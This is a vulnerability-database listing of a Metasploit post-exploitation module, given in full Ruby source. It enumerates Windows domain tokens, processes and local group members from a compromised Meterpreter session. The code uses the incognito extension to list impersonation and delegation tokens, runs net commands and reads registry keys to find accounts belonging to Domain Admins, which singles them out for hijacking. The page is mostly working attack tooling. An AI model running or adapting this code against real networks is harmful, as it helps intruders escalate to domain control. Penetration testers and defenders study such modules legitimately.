Windows Gather Enumerate Domain Tokens

2011-10-27T00:54:54
ID MSF:POST/WINDOWS/GATHER/ENUM_DOMAIN_TOKENS
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

This module will enumerate tokens present on a system that are part of the domain the target host is part of, will also enumerate users in the local Administrators, Users and Backup Operator groups to identify Domain members. Processes will be also enumerated and checked if they are running under a Domain account, on all checks the accounts, processes and tokens will be checked if they are part of the Domain Admin group of the domain the machine is a member of.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Windows::Registry

  def initialize(info={})
    super( update_info( info,
        'Name'          => 'Windows Gather Enumerate Domain Tokens',
        'Description'   => %q{
            This module will enumerate tokens present on a system that are part of the
            domain the target host is part of, will also enumerate users in the local
            Administrators, Users and Backup Operator groups to identify Domain members.
            Processes will be also enumerated and checked if they are running under a
            Domain account, on all checks the accounts, processes and tokens will be
            checked if they are part of the Domain Admin group of the domain the machine
            is a member of.
        },
        'License'       => MSF_LICENSE,
        'Author'        => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
        'Platform'      => [ 'win'],
        'SessionTypes'  => [ 'meterpreter' ]
      ))
  end

  # Run Method for when run command is issued
  def run
    print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
    domain = get_domain()

    if not domain.empty?
      uid = client.sys.config.getuid
      dom_admins = list_domain_group_mem("Domain Admins")

      if  uid =~ /#{domain}/
        user = uid.split("\\")[1]
        if dom_admins.include?(user)
          print_good("Current session is running under a Domain Admin Account")
        end
      end

      if not is_dc?
        list_group_members(domain, dom_admins)
      end

      list_tokens(domain, dom_admins)
      list_processes(domain, dom_admins)
    end
  end

  # List local group members
  def list_group_mem(group)
    devisor = "-------------------------------------------------------------------------------\r\n"
    raw_list = cmd_exec("net localgroup #{group}").split(devisor)[1]
    account_list = raw_list.split("\r\n")
    account_list.delete("The command completed successfully.")
    return account_list
  end

  # List Members of a domain group
  def list_domain_group_mem(group)
    account_list = []
    devisor = "-------------------------------------------------------------------------------\r\n"
    raw_list = cmd_exec("net groups \"#{group}\" /domain").split(devisor)[1]
    raw_list.split(" ").each do |m|
      account_list << m
    end
    account_list.delete("The command completed successfully.")
    return account_list
  end

  # Gets the Domain Name
  def get_domain()
    domain = ""
    begin
      subkey = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History"
      v_name = "DCName"
      domain_dc = registry_getvaldata(subkey, v_name)
      dom_info =  domain_dc.split('.')
      domain = dom_info[1].upcase
    rescue
      print_error("This host is not part of a domain.")
    end
    return domain
  end

  # List Tokens precent on the domain
  def list_tokens(domain,dom_admins)
    tbl = Rex::Text::Table.new(
      'Header'  => "Impersonation Tokens with Domain Context",
      'Indent'  => 1,
      'Columns' =>
      [
        "Token Type",
        "Account Type",
        "Name",
        "Domain Admin"
      ])
    print_status("Checking for Domain group and user tokens")
    client.core.use("incognito")
    user_tokens = client.incognito.incognito_list_tokens(0)
    user_delegation = user_tokens["delegation"].split("\n")
    user_impersonation = user_tokens["impersonation"].split("\n")

    group_tokens = client.incognito.incognito_list_tokens(1)
    group_delegation = group_tokens["delegation"].split("\n")
    group_impersonation = group_tokens["impersonation"].split("\n")

    user_delegation.each do |dt|
      if dt =~ /#{domain}/
        user = dt.split("\\")[1]
        if dom_admins.include?(user)
          tbl << ["Delegation","User",dt,true]
        else
          tbl << ["Delegation","User",dt,false]
        end
      end
    end

    user_impersonation.each do |dt|
      if dt =~ /#{domain}/
        user = dt.split("\\")[1]
        if dom_admins.include?(user)
          tbl << ["Impersonation","User",dt,true]
        else
          tbl << ["Impersonation","User",dt,false]
        end
      end
    end

    group_delegation.each do |dt|
      if dt =~ /#{domain}/
        user = dt.split("\\")[1]
        if dom_admins.include?(user)
          tbl << ["Delegation","Group",dt,true]
        else
          tbl << ["Delegation","Group",dt,false]
        end
      end
    end

    group_impersonation.each do |dt|
      if dt =~ /#{domain}/
        user = dt.split("\\")[1]
        if dom_admins.include?(user)
          tbl << ["Impersonation","Group",dt,true]
        else
          tbl << ["Impersonation","Group",dt,false]
        end
      end
    end
    results = tbl.to_s
    print_line("\n" + results + "\n")
  end

  def list_group_members(domain,dom_admins)
    tbl = Rex::Text::Table.new(
      'Header'  => "Account in Local Groups with Domain Context",
      'Indent'  => 1,
      'Columns' =>
      [
        "Group",
        "Member",
        "Domain Admin"
      ])
    print_status("Checking local groups for Domain Accounts and Groups")
    admins = list_group_mem("Administrators")
    users = list_group_mem("users")
    backops = list_group_mem("\"Backup Operators\"")
    admins.each do |dt|
      if dt =~ /#{domain}/
        user = dt.split("\\")[1]
        if dom_admins.include?(user)
          tbl << ["Administrators",dt,true]
        else
          tbl << ["Administrators",dt,false]
        end
      end
    end

    backops.each do |dt|
      if dt =~ /#{domain}/
        user = dt.split("\\")[1]
        if dom_admins.include?(user)
          tbl << ["Backup Operators",dt,true]
        else
          tbl << ["Backup Operators",dt,false]
        end
      end
    end
    users.each do |dt|
      if dt =~ /#{domain}/
        user = dt.split("\\")[1]
        if dom_admins.include?(user)
          tbl << ["Users",dt,true]
        else
          tbl << ["Users",dt,false]
        end
      end
    end
    results = tbl.to_s
    print_line("\n" + results + "\n")
  end

  def list_processes(domain,dom_admins)
    tbl = Rex::Text::Table.new(
      'Header'  => "Processes under Domain Context",
      'Indent'  => 1,
      'Columns' =>
      [
        "Name",
        "PID",
        "Arch",
        "User",
        "Domain Admin"
      ])
    print_status("Checking for processes running under domain user")
    client.sys.process.processes.each do |p|
      if p['user'] =~ /#{domain}/
        user = p['user'].split("\\")[1]
        if dom_admins.include?(user)
          tbl << [p['name'],p['pid'],p['arch'],p['user'],true]
        else
          tbl << [p['name'],p['pid'],p['arch'],p['user'],false]
        end
      end
    end
    results = tbl.to_s
    print_line("\n" + results + "\n")
  end

  # Function for checking if target is a DC
  def is_dc?
    is_dc_srv = false
    serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
    if registry_enumkeys(serviceskey).include?("NTDS")
      if registry_enumkeys(serviceskey + "\\NTDS").include?("Parameters")
        print_good("\tThis host is a Domain Controller!")
        is_dc_srv = true
      end
    end
    return is_dc_srv
  end
end